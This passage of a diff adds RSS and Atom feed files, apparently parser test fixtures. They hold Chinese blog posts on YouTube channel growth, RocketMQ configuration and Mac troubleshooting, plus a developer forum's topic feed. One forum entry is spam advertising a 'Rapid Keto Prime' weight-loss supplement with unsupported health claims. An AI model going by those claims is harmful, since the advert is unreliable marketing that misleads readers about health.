    + + 油管半月谈 做视频 210 天后的复盘和总结 + https://guozh.net/learn-youtube-channel-210/ + https://guozh.net/learn-youtube-channel-210/#comments + Sun, 29 Mar 2020 05:41:12 +0000 + + + + + + + + + https://guozh.net/?p=1462 + 总觉得有点不可思议,到今天为止,我做视频已经有 210 天,换算成月,已经 7 个月。 在上篇文章结尾处,我约定 50 天后再次复盘总结。本来按照计算,应该是昨天,但昨天挺忙,而且过去的这段时间频道的变化实在太多,这段时间频道经历了达标、获利审核、爆发、播放遇冷等等,所以准备用比较多的时间来回顾和反思。 先来看频道数据吧。上次记录时,当时……

    +

    油管半月谈 做视频 210 天后的复盘和总结最先出现在老郭种树

    +]]>
    + 总觉得有点不可思议,到今天为止,我做视频已经有 210 天,换算成月,已经 7 个月。

    +

    在上篇文章结尾处,我约定 50 天后再次复盘总结。本来按照计算,应该是昨天,但昨天挺忙,而且过去的这段时间频道的变化实在太多,这段时间频道经历了达标、获利审核、爆发、播放遇冷等等,所以准备用比较多的时间来回顾和反思。

    +

    先来看频道数据吧。上次记录时,当时的数据如下:

    +

    《油管半月谈 做视频 210 天后的复盘和总结》

    +

    这是今天的

    +
    +

    订阅:13446 人

    +

    视频个数:60 个

    +

    过去 28 天,平均观看次数:6642 次

    +

    过去 28 天,展示点击率:2.7%

    +

    过去 28 天,平均观看百分数:27.7%

    +
    +

    数据中去掉了有关获利审核的数据,现在已经通过,这个数据对我来说没啥作用了。

    +

    加上平均每天观看次数,这个数据贴出来主要针对订阅人数,计算频道订阅人数中每天观看次数的百分数。用来量化订阅者中愿意点击观看视频的意愿。

    +

    加上展示点击率,这个数据主要用来体现自己封面图、标题的效果,是否能在多个同类视频中脱颖而出,吸引浏览者注意力。

    +

    加上视频平均观看百分数,首先观看百分数其实就是播放完成度,都是以百分数计量,这里平均是指,取所有视频中前 50 个视频的平均观看百分数。现在视频已经通过获利审核,订阅数其实相对来说已经没那么重要,较为重要的是视频观看百分数。主要用它来量化视频的质量怎么样,是否有吸引力。

    +
    +

    不出意外,以后的复盘总结,基本就稳定展示这些个指标数据。

    +
    +

    这 50 天整个频道发生太多事,有太多变化,多到我现在也不知道从何开始整理。

    +

    回顾

    +

    首先来看看上篇文章结尾我当时的计划

    +

    《油管半月谈 做视频 210 天后的复盘和总结》

    +

    首先关于录音问题,当时购买的麦克风同样不兼容 mbp,甚至之后还购买各种转接头,也不行。具体当时还在 【周记、复盘、计划】2020-03-01 情绪管理、频道开启获利 中提到过 。

    +

    对于知乎的引流其实没做好,甚至当时写的爬虫工具也没利用过。关于频道的外部流量,我仔细看了数据,发现主要有这几个渠道。

    +

    《油管半月谈 做视频 210 天后的复盘和总结》

    +

    可以发现,虽然知乎的流量相对 Google 自然搜索、博客少很多,但平均观看百分数却出奇的高。

    +
    +

    其中幕布流量是意外

    +
    +

    很明显,通过知乎来频道的观众都是带着问题的,本身具有很强的目的性,所以如果视频真的对他们有用,会愿意看到最终。

    +

    但另外这些就纯粹是抱有其他各种目的,好奇的、挖内容的、取经的,视频内容是否有用不重要。所以很明显,这些流量渠道的播放完成度真心不高,也会拉低视频的整体播放完成度。

    +
    +

    感谢@阿鹏大佬分享

    +
    +

    所以很明显,知乎的流量对于做此类视频很重要,可以引起重视。当然,抱着引流、营销的目的很容易被知乎打击,还是那句话「不要互相白嫖」,自己的内容要给平台带去价值。

    +

    接着是 Tag 的整理

    +

    《油管半月谈 做视频 210 天后的复盘和总结》

    +

    标签这事我也不知道怎么说,现在普遍的认识,这玩意对视频的曝光、SEO 以及 YouTube 推荐算法中作用并不大,甚至没用,官方也这样说过。但具体到底有用没,谁也不敢肯定,反正加上吧,也算是心理安慰。

    +

    所以,推荐搭建一个属于自己的标签库,慢慢整理,视频中需要用到,直接粘贴就行。

    +

    频道经历

    +

    油管半月谈 做视频 160 天后的复盘和总结 发布后没多久,频道因为一个视频爆发,接下来半个月频道订阅数达到 1000 ,接着开通获利标准的 4000 小时也很快达到,开启审核后,没过 2 天就审核通过。而爆发的那个视频,到今天为止,给频道增加 1 万订阅数。

    +

    当然后遗症也很明显,爆发视频内容太过垂直和小众,不太想刻意去追求做同类型内容充数,虽然短期来看这种手段很有效果,会给自己新做的视频带去比较多的播放量。但大家都不傻,这样为了做而做会限制自己的方向,同时丢掉信任

    +

    所以,当前面整个系列做完,现在已经转向新的主题方向。虽然播放量相比来说出现断崖式下跌,但我觉得这是正确的选择。

    +

    计划

    +

    很明显,我这篇文章中多次提到「播放完成度」,相对播放量、订阅数,我觉得这个指标数据更重要。找到受众去分享和推广可能才是最好的选择,粗放型的丟外链还是有问题。

    +

    然后是视频内容,相对来说,视频内容成系列制作会好点。最好将一个主题的视频内容全部做完。

    +

    最后就是展示点击率,我频道视频的展示点击率太低,我随手翻了近 20 个视频的点击率,都高于当前的平均值,所以暂时没找到原因,等发现是哪些视频引起,可能会做些处理和修改。

    +

    所以接下来:

    +

    1、知乎,尽量保证每天在知乎认真回答 1个问题。现在知乎回答数 76 。

    +

    2、尽量成系列的做视频,保证一周一个视频吧。

    +

    3、做出频道背景图。

    +

    4、查出展示点击率低的原因。

    +

    OK,下次分享总结是 40 天后,也就是 2020-05-28。

    +

    油管半月谈 做视频 210 天后的复盘和总结最先出现在老郭种树

    +]]>
    + https://guozh.net/learn-youtube-channel-210/feed/ + 4 +
    + + RocketMQ 设置远程能够消费消息 + https://guozh.net/rocketmq-remote-consumer-message/ + https://guozh.net/rocketmq-remote-consumer-message/#respond + Wed, 25 Mar 2020 08:12:49 +0000 + + + + https://guozh.net/?p=1449 + 临时所记,无图,无排版。刚好有这需求,从同事那学习到方法,记录在此。 因为测试需要,希望能够在测试环境消费正式环境生产的消息,其实 RocketMQ 能够通过设置配置文件,实现该需求。 1、首先将 MQ 停了 如果 MQ 处于开启状态,会有四个端口,其中,一个 namesrv 端口,默认是 9876,还有三个 broker 端口(1090……

    +

    RocketMQ 设置远程能够消费消息最先出现在老郭种树

    +]]>
    + 临时所记,无图,无排版。刚好有这需求,从同事那学习到方法,记录在此。

    +

    因为测试需要,希望能够在测试环境消费正式环境生产的消息,其实 RocketMQ 能够通过设置配置文件,实现该需求。

    +

    1、首先将 MQ 停了

    +

    如果 MQ 处于开启状态,会有四个端口,其中,一个 namesrv 端口,默认是 9876,还有三个 broker 端口(10909、10911、10912)。

    +

    可以使用 kill 命令将他们关闭,也可以使用以下命令

    +

    关闭 namesrv :sh bin/mqshutdown namesrv

    +

    关闭 broker  :sh bin/mqshutdown broker

    +

    2、接着修改配置文件,其实为了体验,这一步可以先做。

    +

    配置文件在 /conf /broker.conf

    +

    编辑它,在尾部加上两行配置

    +

    brokerIP1 = xx.xx.xx.xx
    +autoCreateTopicEnable = true

    +

    注意第一行 IP 一定要填写公网 IP

    +

    3、启动 MQ

    +

    bin 目录下使用如下命令,记得加上配置文件路径

    +

    nohup sh mqnamesrv &

    +

    nohup sh mqbroker -c ../conf/broker.conf -n 127.0.0.1:9876 >/dev/null 2>&1 &

    +

    RocketMQ 设置远程能够消费消息最先出现在老郭种树

    +]]>
    + https://guozh.net/rocketmq-remote-consumer-message/feed/ + 0 +
    + + 2020 怎样注册美区 Apple ID + https://guozh.net/2020-apply-usa-apple-id/ + https://guozh.net/2020-apply-usa-apple-id/#comments + Tue, 24 Mar 2020 11:50:33 +0000 + + + + + https://guozh.net/?p=1448 + 这是视频的文字大纲,建议看视频 https://youtu.be/lQc2ZGNtYow 为什么要使用美区 Apple ID 国区 Apple ID 所有功能,美区几乎都有 隐私 云上贵州 https://support.apple.com/zh-cn/HT208351 下载某些 App 应用 准备 邮箱 科学上网?不用 信用卡?不要 苹……

    +

    2020 怎样注册美区 Apple ID最先出现在老郭种树

    +]]>
    + 这是视频的文字大纲,建议看视频

    +

    https://youtu.be/lQc2ZGNtYow

    + +

    2020 怎样注册美区 Apple ID最先出现在老郭种树

    +]]>
    + https://guozh.net/2020-apply-usa-apple-id/feed/ + 7 +
    + + mac app store 下载不了,一直转圈 + https://guozh.net/mac-app-store-cannot-download/ + https://guozh.net/mac-app-store-cannot-download/#respond + Tue, 24 Mar 2020 01:15:08 +0000 + + + + + + + https://guozh.net/?p=1447 + 临时所记录,无图 好郁闷,app store 下载软件一直有问题,下载后进度条一直转圈,但是没任何进度,下载不了。网上一搜推荐给网络加上 DNS 解析。 好吧,试一试。 打开网络偏好设置-找到连接 Wi-Fi 的高级选项-选择 DNS -添加两条 DNS 解析记录 8.8.8.8 和 114.114.114.114 然后试了下,发现貌似没……

    +

    mac app store 下载不了,一直转圈最先出现在老郭种树

    +]]>
    + 临时所记录,无图

    +

    好郁闷,app store 下载软件一直有问题,下载后进度条一直转圈,但是没任何进度,下载不了。网上一搜推荐给网络加上 DNS 解析。

    +

    好吧,试一试。

    +

    打开网络偏好设置-找到连接 Wi-Fi 的高级选项-选择 DNS -添加两条 DNS 解析记录

    +

    8.8.8.8 和 114.114.114.114

    +

    然后试了下,发现貌似没用, 没办法,试试“重启大法”。结果电脑重启时,

    +

    提示 xxx打开时,无法更新,是否继续

    +

    以前我都是取消的,难道这里出问题了,应用卡在更新?所以,选择继续。然后就将我电脑上的几个应用更新了。

    +

    再进去打开时,发现可以下载了,然后我将其中一条 DNS 解析记录删掉,发现貌似还是可以下载。

    +

    mac app store 下载不了,一直转圈最先出现在老郭种树

    +]]>
    + https://guozh.net/mac-app-store-cannot-download/feed/ + 0 +
    + + 【周记、复盘、计划】2020-03-22 A股、羊台山 + https://guozh.net/weekly-record-plan-03-22/ + https://guozh.net/weekly-record-plan-03-22/#comments + Sun, 22 Mar 2020 12:20:13 +0000 + + + + + + + https://guozh.net/?p=1445 + 周记 1、上周提到,以后的「周记、复盘、计划」中不在单独将「复盘」列出来和「周记」一一对应。主要突然发现很多反思已经在「周记」中写了,就这样吧。 然后提到的「记账」也有点进度,下载了几个有关记账的 app ,发现没有非常完美的。有的没 Android 版,有的功能不能满足我需求、有的没收费。最后要决定用哪个现在还没确定,再看看吧。毕竟选定……

    +

    【周记、复盘、计划】2020-03-22 A股、羊台山最先出现在老郭种树

    +]]>
    + 周记 +

    1、上周提到,以后的「周记、复盘、计划」中不在单独将「复盘」列出来和「周记」一一对应。主要突然发现很多反思已经在「周记」中写了,就这样吧。

    +

    然后提到的「记账」也有点进度,下载了几个有关记账的 app ,发现没有非常完美的。有的没 Android 版,有的功能不能满足我需求、有的没收费。最后要决定用哪个现在还没确定,再看看吧。毕竟选定后,以后再想切换就很麻烦,不急着这一时。

    +

    2、这周全球经济都出现危机,有人说这是 2008 经济危机后再一次爆发,甚至更加强烈。美股十天内熔断 4 次,巴菲特在这之前一辈子也只碰到过一次熔断,今年却看到 4 次。全球股市、各种避险资产都再不断跌。到底是因为疫情或经济泡沫导致,反正我也不知道。

    +

    我在年初 【周记、复盘、计划】2020-02-13 肺炎、股市、城市战争、两性 中提到,因为当时的股价不在我心里想购买的预期,所以当时错过后也没准备入手。而且也提到就算 A 股大涨,最多也就错过 5000 块收益。

    +

    没想到后面股价一直在跌,虽然我并不看好 A 股,5-10 年内,不会成为所谓的「价值投资」标的。但也不可能连 3000 点都不值。所以这周在 2720 点时买入了一些 ETF 。如果再跌,应该还会补仓。

    +

    巴菲特那句名言「别人恐惧我贪婪,别人贪婪我恐惧」如果站在上帝视角,可能觉得这是一件很简单的事,但入局其中,你会发现「情绪」真的会左右你的决策,不知不觉做出一些符合「人性」的决定。

    +

    跌到 2700,你不会买,因为你觉得还会跌,甚至你听到消息,有可能跌倒 2400 ,如果真的跌倒 2400 ,你更不会买,你想等市场稳定下来,但是我们却不知道等待也是一种选择,更亏的是这是一个消极被动的选择。

    +

    3、周六和妹纸去了一趟羊台山玩,终于 2020 年第一次下馆子,吃上一顿热乎不同的菜,虽然是小吃,但也不错。

    +

    4、运气不错,抢到「讯飞听见」的秒杀优惠,以后半年的字幕不用担心了。

    +

    5、关于 Adsense 收款,因为没有香港银行卡,所以本来想等着行情稳定后去香港办理。以前听说过 pingpong 可以用来给港区 adsense 收款,看了收款过程,发现需要上传身份证照片,有点介意(pingpong 肯定没问题,只是个人介意),所以一直不想弄。结果又听朋友建议,可以将身份证照片打上水印,感觉是个好办法,所以这周一直很犹豫要不要用。

    +

    计划

    +

    工作上好多需要做的事还没完成,总是解决一个问题又蹦出一个,很多想做的事都暂时放弃了,比如知乎回答问题。插件系列的视频其实在知乎应该可以获取一些流量,实在没时间弄,看看这周要不要拾回来。

    +

    做两个视频(可能)。

    +

    【周记、复盘、计划】2020-03-22 A股、羊台山最先出现在老郭种树

    +]]>
    + https://guozh.net/weekly-record-plan-03-22/feed/ + 4 +
    + + 盘点 Google Chrome 7 个技巧 + https://guozh.net/inventory-google-chrome-seven-skills/ + https://guozh.net/inventory-google-chrome-seven-skills/#respond + Thu, 19 Mar 2020 11:05:30 +0000 + + + + + + https://guozh.net/?p=1444 + 这是视频文字提纲,推荐看视频,展示的信息更多 https://youtu.be/jSgiL2HdQaM 显示URL 全部,包含 http 与 www 版本低于 79 chrome://flags Omnibox UI Hide Steady-State URL Scheme Omnibox UI Hide Steady-State URL……

    +

    盘点 Google Chrome 7 个技巧最先出现在老郭种树

    +]]>
    + 这是视频文字提纲,推荐看视频,展示的信息更多

    +

    https://youtu.be/jSgiL2HdQaM

    + +

    盘点 Google Chrome 7 个技巧最先出现在老郭种树

    +]]>
    + https://guozh.net/inventory-google-chrome-seven-skills/feed/ + 0 +
    +
    +
    diff --git a/tests/feedlib/testdata/parser/warn/https-laod-cn-feed.xml b/tests/feedlib/testdata/parser/warn/https-laod-cn-feed.xml new file mode 100644 index 0000000..dd5b81f --- /dev/null +++ b/tests/feedlib/testdata/parser/warn/https-laod-cn-feed.xml @@ -0,0 +1,224 @@ + + + + 老D博客 + + https://laod.cn + 关注谷歌服务,分享互联网精神! + Sat, 04 Apr 2020 01:36:19 +0000 + zh-CN + + hourly + + 1 + https://wordpress.org/?v=5.4 + + 思念与希望同在 + https://laod.cn/journal/4-4.html + https://laod.cn/journal/4-4.html#respond + + + Fri, 03 Apr 2020 17:13:00 +0000 + + https://laod.cn/?p=6849 + + + + https://laod.cn/journal/4-4.html/feed/ + 0 + + + + + 下载小电影总卡在99.9%的原因,终于找到了 + https://laod.cn/tools/xiazai-99.html + https://laod.cn/tools/xiazai-99.html#comments + + + Wed, 18 Mar 2020 05:57:50 +0000 + + + + + + https://laod.cn/?p=6832 + + + + https://laod.cn/tools/xiazai-99.html/feed/ + 4 + + + + + 使用CoreDNS搭建无污染DNS + https://laod.cn/dns/coredns-dns.html + https://laod.cn/dns/coredns-dns.html#respond + + + Wed, 18 Mar 2020 05:37:15 +0000 + + + + https://laod.cn/?p=6827 + + + + https://laod.cn/dns/coredns-dns.html/feed/ + 0 + + + + + EA重制《红警》4K版 售价140元 + https://laod.cn/news/command-conquer.html + https://laod.cn/news/command-conquer.html#comments + + + Wed, 11 Mar 2020 14:41:11 +0000 + + + + + https://laod.cn/?p=6821 + + + + https://laod.cn/news/command-conquer.html/feed/ + 3 + + + + + Let’s Encrypt将于3月4日撤销三百万证书 + https://laod.cn/ssl/letsencrypt-3-4.html + https://laod.cn/ssl/letsencrypt-3-4.html#respond + + + Wed, 04 Mar 2020 04:09:18 +0000 + + + + + https://laod.cn/?p=6817 + + + + https://laod.cn/ssl/letsencrypt-3-4.html/feed/ + 0 + + + + + 黑苹果与Windows系统时间不对(不同步)的解决办法 + https://laod.cn/hackintosh/windows-shijian.html + https://laod.cn/hackintosh/windows-shijian.html#comments + + + Sun, 23 Feb 2020 05:46:48 +0000 + + + + + + + https://laod.cn/?p=6804 + + + + https://laod.cn/hackintosh/windows-shijian.html/feed/ + 2 + + + + + 2020 hosts 最新Google hosts + https://laod.cn/hosts/2020-hosts.html + https://laod.cn/hosts/2020-hosts.html#comments + + + Tue, 11 Feb 2020 06:19:19 +0000 + + + + + + https://laod.cn/?p=6792 + + + + https://laod.cn/hosts/2020-hosts.html/feed/ + 5 + + + + + SwitchHosts 一个修改、管理、切换多个 hosts 方案的开源工具 + https://laod.cn/hosts/switchhosts.html + https://laod.cn/hosts/switchhosts.html#comments + + + Sun, 09 Feb 2020 10:07:44 +0000 + + + + + https://laod.cn/?p=6786 + + + + https://laod.cn/hosts/switchhosts.html/feed/ + 1 + + + + + 谷歌浏览器下载速度慢?那是你没打开多线程下载 + https://laod.cn/tools/chrome-duoxiancheng.html + https://laod.cn/tools/chrome-duoxiancheng.html#comments + + + Sat, 08 Feb 2020 10:56:26 +0000 + + + + + https://laod.cn/?p=6781 + + + + https://laod.cn/tools/chrome-duoxiancheng.html/feed/ + 2 + + + + + 又一个私人云盘:Z-File – 开源免费的个人自建网盘程序(支持云存储/OneDrive) + https://laod.cn/tools/z-file.html + https://laod.cn/tools/z-file.html#respond + + + Thu, 06 Feb 2020 14:50:54 +0000 + + + + + + https://laod.cn/?p=6772 + + + + https://laod.cn/tools/z-file.html/feed/ + 0 + + + + + diff --git a/tests/feedlib/testdata/parser/warn/https-mlog-club-topic-atom-xml.xml b/tests/feedlib/testdata/parser/warn/https-mlog-club-topic-atom-xml.xml new file mode 100644 index 0000000..b3c7475 --- /dev/null +++ b/tests/feedlib/testdata/parser/warn/https-mlog-club-topic-atom-xml.xml @@ -0,0 +1,1996 @@ + + 码农俱乐部 - Golang中国 - Go语言中文社区 + https://mlog.club + 2020-04-06T20:53:00+08:00 + Golang中国 - 码农俱乐部 - Go语言中文社区 - 程序员编程资料和编程经验分享平台 + + + 码农俱乐部 - Golang中国 - Go语言中文社区 + + + Rapid Keto Prime :Minimize the insomnia and irritability + 2020-04-06T16:10:17+08:00 + tag:mlog.club,2020-04-06:/topic/900 + + It is the costly way to get Rapid Keto Prime because you will get the Rapid Keto Prime you want. This is why, our experts have formulated one wonderful weight loss supplement that can help you to get rid of obesity in a hassle-free manner. For a profession... + + https://file.mlog.club/images/2020/04/06/7d6bdf287965888833f85ab42a326f84.jpg + kodajill@protonmail.com + + + + 哼哼 + 2020-04-04T19:54:12+08:00 + tag:mlog.club,2020-04-04:/topic/899 + + + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 妹纸图第3期 + 2020-04-04T19:51:27+08:00 + tag:mlog.club,2020-04-04:/topic/898 + + + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + hello + 2020-04-01T15:30:17+08:00 + tag:mlog.club,2020-04-01:/topic/891 + + + + https://file.mlog.club/images/2019/11/20/10dea401d336f29c5e25c078371a5add.jpg + lemonwater@yeah.net + + + + 注 注 注 + 2020-04-01T11:03:59+08:00 + tag:mlog.club,2020-04-01:/topic/888 + + + + http://st.mlog.club/images/2020/04/01/bc7a47417c0d7119decf282e4811070f.jpg + + + + 妹子图第3期 + 2020-03-31T19:36:39+08:00 + tag:mlog.club,2020-03-31:/topic/886 + + + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 妹纸图第2期 + 2020-03-30T18:53:17+08:00 + tag:mlog.club,2020-03-30:/topic/882 + + + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 验证码服务配置相关 + 2020-03-30T16:40:28+08:00 + tag:mlog.club,2020-03-30:/topic/881 + + 大佬们,有个问题请教下,我把程序运行起来后,没有显示验证码。请问是不是需要去对接一个验证码服务呀?mlog.club 用的是哪家的呢? + + http://st.mlog.club/images/2020/03/30/71124d3c6fa28f1a92b39ac71275027b.jpg + + + + 请教关于项目配置中OSS的问题 + 2020-03-30T14:45:33+08:00 + tag:mlog.club,2020-03-30:/topic/880 + + 大佬们好,我是建站小白。在配置文件中有个问题,想请教下大家: 阿里云 OSS 配置中的 host 参数是什么呀?我在 OSS 管理后台没有找到这个叫 host 的东西。谢谢~ + + http://st.mlog.club/images/2020/03/30/71124d3c6fa28f1a92b39ac71275027b.jpg + + + + 免费的敏捷项目管理工具 + 2020-03-30T13:31:19+08:00 + tag:mlog.club,2020-03-30:/topic/879 + + 项目加 www.xiangmujia.com 免费的敏捷项目管理工具,推荐下 + + http://st.mlog.club/images/2020/03/30/b5c4a53e4077f7446d13b46dfe1afc21.jpg + 282761630@qq.com + + + + bbs-go 3.1.1 版本发布,支持`推文`功能 + 2020-03-30T12:04:37+08:00 + tag:mlog.club,2020-03-30:/topic/877 + + 更新内容 新特性:支持推文功能,快捷发表推文,沟通更顺畅(推文图片支持粘贴板上传、拖拽上传) 新特性:支持图片LazyLoad功能,按需加载、快速省带宽 新特性:支持配置默认发帖节点 新特性:文件支持上传到服务器(之前仅支持上传到阿里云 OSS) 新特性:首页导航栏添加快速发帖入口 增强:调整多处样式细节,做一个追求完美的人 Bugfix:修复后台修改用户密码和角色的 BUG Bugfix:修复后台友情链接 LOGO 显示问题 Bugfix:修复编辑内容为空的话题时,读取内容错误的问题 Bugfix:修... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 程序媛相亲第1期 + 2020-03-29T19:44:00+08:00 + tag:mlog.club,2020-03-29:/topic/876 + + 个人介绍 出生年月:1992.4 身高:162 体重:48 学历:大专院校 城市:上海(河南人) 籍贯:汉族 职业:设计师一枚 是否有房车:无 兴趣爱好:音乐 对另一半的最低要求:身高 172cm 以上~干净阳光~学历大专及以上~最好是河南人~ 自我介绍:哈,小姐姐优点挺多~缺点也挺多的~ + + https://file.mlog.club/images/2019/07/09/8c1cd61ac3bb077a7c2420a80e40e549.jpg + + + + 妹子图,我喜欢... + 2020-03-29T12:18:30+08:00 + tag:mlog.club,2020-03-29:/topic/875 + + + + https://file.mlog.club/images/2019/07/09/8c1cd61ac3bb077a7c2420a80e40e549.jpg + + + + 妹子图第1期 + 2020-03-29T12:14:13+08:00 + tag:mlog.club,2020-03-29:/topic/874 + + + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + Vue实现图片粘贴上传 + 2020-03-29T11:55:53+08:00 + tag:mlog.club,2020-03-29:/topic/873 + + 今天在升级bbs-go发表推文功能时,为了图片上传更加方便,所以计划加上图片的复制上传功能。下面看下我的实现: html 部分 <textarea v-model="content" @input="onInput" @paste="handleParse" @keydown.ctrl.enter="doSubmit" @keydown.meta.enter="doSubmit" placeholder=... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + Mac升级10.15 Catalina,无法在根目录创建文件夹解决办法 + 2020-03-28T20:26:08+08:00 + tag:mlog.club,2020-03-28:/topic/871 + + 重启电脑,按住 cmd+R 进入恢复模式 关闭 SIP: csrutil disable,然后重启 重新挂载根目录:sudo mount -uw /,接下来划重点:现在已经可以在根目录创建文件夹,但是,你在根目录创建之后,一旦重启电脑,你创建的目录又是只读权限了。所以,正确的做法是把你需要的目录软链接到根目录, 例如: sudo ln -s /Users/Suvan/data /data 重新进入恢复模式,重新打开 SIP: csrutil enable + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 绝美女生伊小七犹抱美乳半遮面 + 2020-03-28T18:29:17+08:00 + tag:mlog.club,2020-03-28:/topic/870 + + + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 妹纸图 + 2020-03-28T15:02:21+08:00 + tag:mlog.club,2020-03-28:/topic/868 + + + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 问下大神 robots.txt是怎么搞的? + 2020-03-25T02:08:17+08:00 + tag:mlog.club,2020-03-25:/topic/861 + + 问下大神 robots.txt 是怎么搞的? sitemap.xml sitemap_archive.xml 是怎么生成的 + + https://file.mlog.club/images/2019/11/19/7380506ea3b2bc1e05af18fe9fc69203.jpg + + + + 大家好 新人来报道 看了论坛源码 感觉架构不错 + 2020-03-24T13:31:21+08:00 + tag:mlog.club,2020-03-24:/topic/859 + + + + https://file.mlog.club/images/2020/03/24/558aa0d9a44fffa707811a79405e48a4.jpg + + + + 这个错误是因为我没配置sever配置里的阿里云OSS还是、、、 + 2020-03-23T08:12:49+08:00 + tag:mlog.club,2020-03-23:/topic/858 + + + + https://file.mlog.club/images/2020/03/12/2992be43d01f9d0257bf0516ce868663.jpg + 644236840@qq.com + + + + Markdown编辑模式查看 + 2020-03-22T17:54:07+08:00 + tag:mlog.club,2020-03-22:/topic/857 + + 主题 第一 你好呀 第二 我不好 我好了 我不好 + + https://file.mlog.club/images/2020/03/22/482b3b551fac18a72c91b3343015b9d3.jpg + 987609876@qq.com + + + + Java ubb转html工具类 + 2020-03-20T11:44:14+08:00 + tag:mlog.club,2020-03-20:/topic/852 + + Java ubb 转 html 工具类,这里先收藏备份一下,以后可能会用到。 package cn.mucang.question.common.utils; import java.util.regex.Matcher; import java.util.regex.Pattern; public class UbbUtils { private static final String URL = "<a href='$2' target=_blank>$2</a>"; privat... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + IDEA 2020,9个新特性曝光,程序员:追不上了... + 2020-03-19T10:15:54+08:00 + tag:mlog.club,2020-03-19:/topic/847 + + 新特性 IDEA - 2020.1 版本针对调试器和代码分析器的改进,值得期待 1、对于调试器的加强:数据流分析辅助 2、调试加强:属性置顶功能 3、调试加强:IPV6 调试 4、性能分析的改进,剔除额外的东西 5、支持读取内存快照文件 6、IDEA 变更了代码提交的界面 7、LightEdit 用来作为简单的文本编辑器 8、可以预览变更意图了 9、禅定模式 1、对于调试器的加强:数据流分析辅助 IntelliJIDEA v2020.1 向调试器添加数据流分析辅助,它根据程序执行的当... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 系统部署github授权登录问题 + 2020-03-18T18:57:09+08:00 + tag:mlog.club,2020-03-18:/topic/845 + + 授权登录获取用户信息总是报 dial tcp 13.250.168.23:443: connect: connection refused 大佬社区部署有这个问题么? + + https://file.mlog.club/images/2020/03/12/85d19ce50e2326294da8ef3abf728a90.jpg + 624308865@qq.com + + + + 你好 + 2020-03-17T14:33:05+08:00 + tag:mlog.club,2020-03-17:/topic/844 + + + + https://file.mlog.club/images/2020/03/17/fb05c6b69fc90c3a299b8f2d61776975.jpg + 1710105979@qq.com + + + + 社区最近总有莫名其妙的英文广告贴,咋办。难道是要逼着我做反垃圾吗? + 2020-03-16T21:14:47+08:00 + tag:mlog.club,2020-03-16:/topic/842 + + + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + bbs-go 构建部署帮助 + 2020-03-13T10:40:06+08:00 + tag:mlog.club,2020-03-13:/topic/838 + + 公众号 欢迎关注公众号码农俱乐部获取更多干货资源。 简介 bbs-go是一个使用 Go 语言搭建的开源社区系统,采用前后端分离技术,Go 语言提供 api 进行数据支撑,用户界面使用 Nuxt.js 进行渲染,后台界面基于 element-ui。如果你正在学习 Go 语言,或者考虑转 Go 语言的 Phper/Javaer... 那么该项目对你有的学习会有很大的帮助,欢迎一起来交流。 主要功能如下: 用户中心 论坛功能 多人博客 站内消息 收藏功能 站内消息 项目地址 Githu... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 求大佬,你好,我想问下,有没有详细点的,能快速跑起项目的过程介绍。我购买了实验楼的课程,但我现在着急跑起来项目,再慢慢看那些课程。 + 2020-03-12T17:35:37+08:00 + tag:mlog.club,2020-03-12:/topic/835 + + + + https://file.mlog.club/images/2020/03/12/2992be43d01f9d0257bf0516ce868663.jpg + 644236840@qq.com + + + + 学习资料 + 2020-03-08T19:43:02+08:00 + tag:mlog.club,2020-03-08:/topic/828 + + 以下配置原理参考http://docs.bbs-go.com/guide.html#%E9%A1%B9%E7%9B%AE%E5%9C%B0%E5%9D%80 可参考其配合理解以下步骤 ①编译环境 Goland 参考这里下载与激活 https://www.liangzl.com/get-article-detail-158962.html ②安装 go 语言,version 用 1.1.4 https://studygolang.com/dl ③安装完成后可在任意目录使用 cmd 命令得到以下结果... + + https://file.mlog.club/images/2020/03/08/06ae47b4d522907729e5ee2fc65da7eb.jpg + 3014117377@qq.com + + + + 请问下验证码的地方获取不到,这个是哪里的问题啊 + 2020-03-08T17:41:39+08:00 + tag:mlog.club,2020-03-08:/topic/827 + + + + https://file.mlog.club/images/2020/03/08/deb00b42b0b26f49bb95bfbb27b0c5e3.jpg + + + + mac 下有好用的android模拟器吗?我的mumu模拟器卡在99%,夜神模拟器打不开... + 2020-03-07T20:21:39+08:00 + tag:mlog.club,2020-03-07:/topic/826 + + + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 管理员有联系方式吗?想聊一下合作 + 2020-03-07T03:17:07+08:00 + tag:mlog.club,2020-03-07:/topic/825 + + + + https://file.mlog.club/images/2020/03/07/5467a70015baf6cf42960c8e1daa17c9.jpg + neo4l@qq.com + + + + 有人使用go做音视频开发吗?欢迎交流学习,QQ:38463117 + 2020-03-06T23:25:43+08:00 + tag:mlog.club,2020-03-06:/topic/823 + + + + https://file.mlog.club/images/2020/03/06/f630b925e19941df6d81cb7f8bfaf55d.jpg + + + + 如何获取积分啊? + 